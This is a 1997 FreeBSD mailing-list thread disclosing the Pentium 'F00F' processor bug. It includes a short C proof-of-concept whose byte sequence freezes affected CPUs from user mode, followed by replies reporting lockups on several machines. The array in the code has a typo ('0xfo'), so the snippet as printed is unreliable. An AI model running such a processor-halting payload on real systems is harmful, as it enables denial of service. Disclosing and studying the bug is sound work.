Date: Fri, 7 Nov 1997 15:00:58 -0600 From: Kenny Hanson <khanson@pdspc.com> To: "FreeBSD Hackers (E-mail)" <freebsd-hackers@FreeBSD.ORG> Subject: FW: Newest Pentium bug (fatal) Message-ID: <91DD7FDA88E4D011BED00000C0DD87E7124C71@pds-gateway.pdspc.com>
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> -----Original Message-----
> From: Kenny Hanson
> Sent: Friday, November 07, 1997 3:00 PM
> To: 'Jim Shankland'
> Subject: RE: Newest Pentium bug (fatal)
>
> This also locks up Win95 OSR2.1 233MMX! Testing NT4.0 right now with
> PII 300 :-)
>
> -----Original Message-----
> From: Jim Shankland [SMTP:jas@flyingfox.com]
> Sent: Friday, November 07, 1997 2:24 PM
> To: hackers@FreeBSD.ORG; julian@whistle.com
> Subject: Re: Newest Pentium bug (fatal)
>
> Yow!
>
> An old 66 MHz Pentium with the old floating-point bug (remember that
> one?):
> * sayonara *
>
> An almost new 166 MHz Pentium MMX:
> * adios *
>
> If this is really the processor halting in its tracks (as opposed to,
> say, FreeBSD failing to handle some weird kind of trap), then this
> may cost Intel some real money to fix. Compared with the
> aforementioned
> floating-point bug, this seems like a much bigger deal.
>
> Jim Shankland
> Flying Fox Computer Systems, Inc.
>
> > Date: Fri, 07 Nov 1997 10:39:24 -0800
> > From: Julian Elischer <julian@whistle.com>
> > Organization: Whistle Communications
> > MIME-Version: 1.0
> > To: hackers@FreeBSD.ORG
> > Subject: Newest Pentium bug (fatal)
> > Content-Type: text/plain; charset=us-ascii
> > Content-Transfer-Encoding: 7bit
> >
> > On a "genuine Intel" pentium (not pentium pro)
> > execution of the following sequence, 0xf0 0x0f 0xc7 0xc8
> >
> > will stop the processor. This is doable from user mode and in
> > 16bitmode, or in fact any mode.
> >
> > try the following c program.
> >
> >
> >
> >
> > unsigned char x[] = { 0xfo, 0x0f, 0xc7, 0xc8 };
> >
> >
> > main ()
> > {
> > void (*f)(void) = x;
> > f();
> > }
> >
> >
> >
> >
> > We've checked:
> > K5... OK
> > P6... OK
> > P5... *SPLAT*
> >
> > no idea about the pentium II or other pentium copies.
> > K6?
> >
> > other pentium variants?
> > versions?
> >
> > this one DEFINITLY dies:
> > CPU: Pentium (99.38-MHz 586-class CPU)
> > Origin = "GenuineIntel" Id = 0x525 Stepping=5
> > Features=0x1bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8>
> >
> >
> > share and enjoy..
> >
> > julian
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